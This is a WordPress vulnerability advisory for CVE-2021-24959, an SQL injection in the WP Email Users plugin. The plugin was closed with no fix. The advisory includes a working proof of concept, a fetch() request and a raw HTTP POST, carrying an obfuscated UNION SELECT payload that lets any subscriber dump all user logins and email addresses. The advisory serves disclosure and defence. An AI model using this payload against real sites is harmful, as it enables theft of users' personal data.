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WordPress Plugin Vulnerabilities

WP Email Users <= 1.7.6 - Subscriber+ SQL Injection

Description

The plugin does not escape the data_raw parameter in the weu_selected_users_1 AJAX action, available to any authenticated users, allowing them to perform SQL injection attacks.

Proof of Concept

As any authenticated user (such as subscriber), the request below will display all users email addresses

fetch("httsp://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"weu_selected_users_1","data_raw[]":"0 UNION SELECT concat(char(97),char(58),char(49),char(58),char(123),char(105),char(58),char(48),char(59),char(115),char(58),char(54),char(57),char(58),char(34),char(49),char(32),char(85),char(78),char(73),char(79),char(78),char(32),char(83),char(69),char(76),char(69),char(67),char(84),char(32),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(117),char(115),char(101),char(114),char(95),char(108),char(111),char(103),char(105),char(110),char(44),char(32),char(99),char(104),char(97),char(114),char(40),char(52),char(52),char(41),char(44),char(32),char(117),char(115),char(101),char(114),char(95),char(101),char(109),char(97),char(105),char(108),char(41),char(32),char(70),char(82),char(79),char(77),char(32),char(119),char(112),char(95),char(117),char(115),char(101),char(114),char(115),char(34),char(59),char(125))"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 1405
Connection: close
Cookie: [any authenticated user]

action=weu_selected_users_1&data_raw%5B%5D=0+UNION+SELECT+concat%28char%2897%29%2Cchar%2858%29%2Cchar%2849%29%2Cchar%2858%29%2Cchar%28123%29%2Cchar%28105%29%2Cchar%2858%29%2Cchar%2848%29%2Cchar%2859%29%2Cchar%28115%29%2Cchar%2858%29%2Cchar%2854%29%2Cchar%2857%29%2Cchar%2858%29%2Cchar%2834%29%2Cchar%2849%29%2Cchar%2832%29%2Cchar%2885%29%2Cchar%2878%29%2Cchar%2873%29%2Cchar%2879%29%2Cchar%2878%29%2Cchar%2832%29%2Cchar%2883%29%2Cchar%2869%29%2Cchar%2876%29%2Cchar%2869%29%2Cchar%2867%29%2Cchar%2884%29%2Cchar%2832%29%2Cchar%2899%29%2Cchar%28111%29%2Cchar%28110%29%2Cchar%2899%29%2Cchar%2897%29%2Cchar%28116%29%2Cchar%2840%29%2Cchar%28117%29%2Cchar%28115%29%2Cchar%28101%29%2Cchar%28114%29%2Cchar%2895%29%2Cchar%28108%29%2Cchar%28111%29%2Cchar%28103%29%2Cchar%28105%29%2Cchar%28110%29%2Cchar%2844%29%2Cchar%2832%29%2Cchar%2899%29%2Cchar%28104%29%2Cchar%2897%29%2Cchar%28114%29%2Cchar%2840%29%2Cchar%2852%29%2Cchar%2852%29%2Cchar%2841%29%2Cchar%2844%29%2Cchar%2832%29%2Cchar%28117%29%2Cchar%28115%29%2Cchar%28101%29%2Cchar%28114%29%2Cchar%2895%29%2Cchar%28101%29%2Cchar%28109%29%2Cchar%2897%29%2Cchar%28105%29%2Cchar%28108%29%2Cchar%2841%29%2Cchar%2832%29%2Cchar%2870%29%2Cchar%2882%29%2Cchar%2879%29%2Cchar%2877%29%2Cchar%2832%29%2Cchar%28119%29%2Cchar%28112%29%2Cchar%2895%29%2Cchar%28117%29%2Cchar%28115%29%2Cchar%28101%29%2Cchar%28114%29%2Cchar%28115%29%2Cchar%2834%29%2Cchar%2859%29%2Cchar%28125%29%29 

Affects Plugins

wp-email-users
No known fix - plugin closed

References

CVE
CVE-2021-24959

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
0471d2e2-e759-468f-becd-0b062f00b435

Timeline

Publicly Published

2022-01-31 (about 1 years ago)

Added

2022-02-15 (about 11 months ago)

Last Updated

2022-04-08 (about 9 months ago)

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